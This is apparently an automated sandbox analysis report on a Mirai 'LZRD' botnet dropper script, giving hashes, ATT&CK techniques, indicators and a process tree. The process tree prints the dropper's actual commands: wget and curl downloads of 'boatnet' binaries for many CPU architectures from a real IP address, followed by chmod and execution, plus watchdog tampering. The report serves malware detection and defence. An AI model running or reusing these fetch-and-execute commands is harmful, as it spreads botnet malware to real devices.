mirai | c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee

Analysis

max time kernel
149s
max time network
141s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
25-01-2025 15:47

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General

Target

ohshit.sh
Size

2KB
MD5

17dd5d8084206f6fc1220c00f306c8a7
SHA1

f5a1e23a8ec3c955a188c5f0e8487323046589bb
SHA256

c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee
SHA512

39bc89258fa7fd88b67e530d7f2b0a65aacfaf4c93c102bddc9e4bfafbe5b9f5047a3ab54ca05feade7398a2a52be1c59ce29241ab1093f2f0de331c0106600a

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
837	chmod
865	chmod
883	chmod
889	chmod
752	chmod
827	chmod
832	chmod
877	chmod
734	chmod
821	chmod
845	chmod
853	chmod
859	chmod
871	chmod
895	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	735	ohshit.sh
/tmp/WTF	753	ohshit.sh
/tmp/WTF	822	ohshit.sh
/tmp/WTF	828	ohshit.sh
/tmp/WTF	833	ohshit.sh
/tmp/WTF	838	ohshit.sh
/tmp/WTF	846	ohshit.sh
/tmp/WTF	854	ohshit.sh
/tmp/WTF	860	ohshit.sh
/tmp/WTF	866	ohshit.sh
/tmp/WTF	872	ohshit.sh
/tmp/WTF	878	ohshit.sh
/tmp/WTF	884	ohshit.sh
/tmp/WTF	890	ohshit.sh
/tmp/WTF	896	ohshit.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx
behavioral4/files/fstream-4.dat	upx

Reads runtime system information 35 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/704/cmdline	WTF
File opened for reading	/proc/710/cmdline	WTF
File opened for reading	/proc/868/cmdline	WTF
File opened for reading	/proc/878/cmdline	WTF
File opened for reading	/proc/671/cmdline	WTF
File opened for reading	/proc/700/cmdline	WTF
File opened for reading	/proc/869/cmdline	WTF
File opened for reading	/proc/881/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/879/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/666/cmdline	WTF
File opened for reading	/proc/674/cmdline	WTF
File opened for reading	/proc/701/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/896/cmdline	WTF
File opened for reading	/proc/702/cmdline	WTF
File opened for reading	/proc/849/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/414/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/673/cmdline	WTF
File opened for reading	/proc/676/cmdline	WTF
File opened for reading	/proc/887/cmdline	WTF
File opened for reading	/proc/892/cmdline	WTF

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
737	wget
738	curl
750	cat

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.spc	wget

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:704
- /usr/bin/wget
  wget http://154.62.226.5/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:708
- /usr/bin/curl
  curl -O http://154.62.226.5/hiddenbin/boatnet.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:724
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:733
- /bin/chmod
  chmod +x boatnet.x86 ohshit.sh systemd-private-5af72cede5944f3890e018ce63c9515a-systemd-timedated.service-JcdysY WTF
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/WTF
  ./WTF
  2⤵
  PID:735
- /usr/bin/wget
  wget http://154.62.226.5/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:737
- /usr/bin/curl
  curl -O http://154.62.226.5/hiddenbin/boatnet.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:750
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-5af72cede5944f3890e018ce63c9515a-systemd-timedated.service-JcdysY WTF
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/WTF
  ./WTF
  2⤵
  PID:753
- /usr/bin/wget
  wget http://154.62.226.5/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:755
- /usr/bin/curl
  curl -O http://154.62.226.5/hiddenbin/boatnet.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:820
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-5af72cede5944f3890e018ce63c9515a-systemd-timedated.service-JcdysY WTF
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/WTF
  ./WTF
  2⤵
  PID:822
- /usr/bin/wget
  wget http://154.62.226.5/hiddenbin/boatnet.i468
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://154.62.226.5/hiddenbin/boatnet.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/cat
  cat boatnet.i468
  2⤵
  PID:826
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-5af72cede5944f3890e018ce63c9515a-systemd-timedated.service-JcdysY WTF
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/WTF
  ./WTF
  2⤵
  PID:828
- /usr/bin/wget
  wget http://154.62.226.5/hiddenbin/boatnet.i686
  2⤵
  PID:829
- /usr/bin/curl
  curl -O http://154.62.226.5/hiddenbin/boatnet.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/cat
  cat boatnet.i686
  2⤵
  PID:831
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-5af72cede5944f3890e018ce63c9515a-systemd-timedated.service-JcdysY WTF
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/WTF
  ./WTF
  2⤵
  PID:833
- /usr/bin/wget
  wget http://154.62.226.5/hiddenbin/boatnet.x86_64
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://154.62.226.5/hiddenbin/boatnet.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:836
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5af72cede5944f3890e018ce63c9515a-systemd-timedated.service-JcdysY WTF
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/WTF
  ./WTF
  2⤵
  PID:838
- /usr/bin/wget
  wget http://154.62.226.5/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:839
- /usr/bin/curl
  curl -O http://154.62.226.5/hiddenbin/boatnet.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:843
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:844
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/WTF
  ./WTF
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:846
- /usr/bin/wget
  wget http://154.62.226.5/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:850
- /usr/bin/curl
  curl -O http://154.62.226.5/hiddenbin/boatnet.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:851
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:852
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/WTF
  ./WTF
  2⤵
  PID:854
- /usr/bin/wget
  wget http://154.62.226.5/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:856
- /usr/bin/curl
  curl -O http://154.62.226.5/hiddenbin/boatnet.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:857
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:858
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/WTF
  ./WTF
  2⤵
  PID:860
- /usr/bin/wget
  wget http://154.62.226.5/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:862
- /usr/bin/curl
  curl -O http://154.62.226.5/hiddenbin/boatnet.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:864
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/WTF
  ./WTF
  2⤵
  PID:866
- /usr/bin/wget
  wget http://154.62.226.5/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:868
- /usr/bin/curl
  curl -O http://154.62.226.5/hiddenbin/boatnet.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/cat
  cat boatnet.arm7
  2⤵
  PID:870
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/WTF
  ./WTF
  2⤵
  PID:872
- /usr/bin/wget
  wget http://154.62.226.5/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:874
- /usr/bin/curl
  curl -O http://154.62.226.5/hiddenbin/boatnet.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/cat
  cat boatnet.ppc
  2⤵
  PID:876
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/WTF
  ./WTF
  2⤵
  PID:878
- /usr/bin/wget
  wget http://154.62.226.5/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:880
- /usr/bin/curl
  curl -O http://154.62.226.5/hiddenbin/boatnet.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/cat
  cat boatnet.spc
  2⤵
  PID:882
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/WTF
  ./WTF
  2⤵
  PID:884
- /usr/bin/wget
  wget http://154.62.226.5/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:886
- /usr/bin/curl
  curl -O http://154.62.226.5/hiddenbin/boatnet.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/cat
  cat boatnet.m68k
  2⤵
  PID:888
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/WTF
  ./WTF
  2⤵
  PID:890
- /usr/bin/wget
  wget http://154.62.226.5/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:892
- /usr/bin/curl
  curl -O http://154.62.226.5/hiddenbin/boatnet.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/cat
  cat boatnet.sh4
  2⤵
  PID:894
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/WTF
  ./WTF
  2⤵
  PID:896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/WTF

Filesize
23KB

MD5
a707c2e2633e0a7e1802bc418d61cff7

SHA1
41bda3be4058fe487cec6ccd716354d4c5fb6e16

SHA256
5366ef37d482d37f05ed7b3138b83579dd35c0a47e21bf5df63c9a7b24be40ac

SHA512
61eb40201080dbc1cc649197a0be1d781c082e92014ae4383bd6a5d5f55a3fa1887f17359a40116849e5e97c97c9d0c0b2a818250437ddac17c93d7ea0f98f8d

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/tmp/WTF

Filesize
105KB

MD5
472d4d75d8483fc824eb0911b4c35cad

SHA1
dec4becfa3f99006d6af3b64efd0dcbd58e46174

SHA256
c9d1873aac242b154ee98234fda07a10e4fcd3f91fe0f1c6a9d9eebdbfceddf9

SHA512
ff76fd61dd6bbae41ce5fe1d346975a44bfc339c50c5f58b0a7eee42c041bdad7bc4bd63cffa35326a0ac53362eba07bdfe6b36cd64af1a0d9d7bc03dad17e2e

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/tmp/WTF

Filesize
220B

MD5
f1c24d9fa40a047ae22d2d3ae7dfeac9

SHA1
750274b02d5f5b00026a4f55b020f4285c693533

SHA256
219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

SHA512
36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

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/tmp/WTF

Filesize
220B

MD5
a8f502a6fb3b7b940e922c951d9e493a

SHA1
fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

SHA256
748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

SHA512
e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

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/tmp/WTF

Filesize
57KB

MD5
0fb4998f9591c180f42880840eff18a6

SHA1
615524375f2333da6f4e16e8da6d0954261f7f2d

SHA256
8f32360b655bb39a1e4a2dc1d6d018da9e18714ac36192f1b9976dceb4baef42

SHA512
705b676abe24a66dfe7307b3e1c320442dcc7f68f068f5fe9b6ea3b26997854d28e48fb094dc10f0d5522fe4e525858772ab8f75aefd08f8cb27d4587daffb97

Download Submit
/tmp/boatnet.x86

Filesize
20KB

MD5
fe554c823518892cc1b87337370a3211

SHA1
b605736332547cf5a8e4a62c768e2f6ea2eaa765

SHA256
d8f3b3cd5de4a9bfd20c3de51b11620399077c6b368e99229638f8c9f80bcf49

SHA512
98882754405039d2d997bb82d733398cb85c38866eac26fe830a02d50e9f1319489e2940eed73f6c240430c8fdad98dc5a2f9be831a84a8813600785db327fc8

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads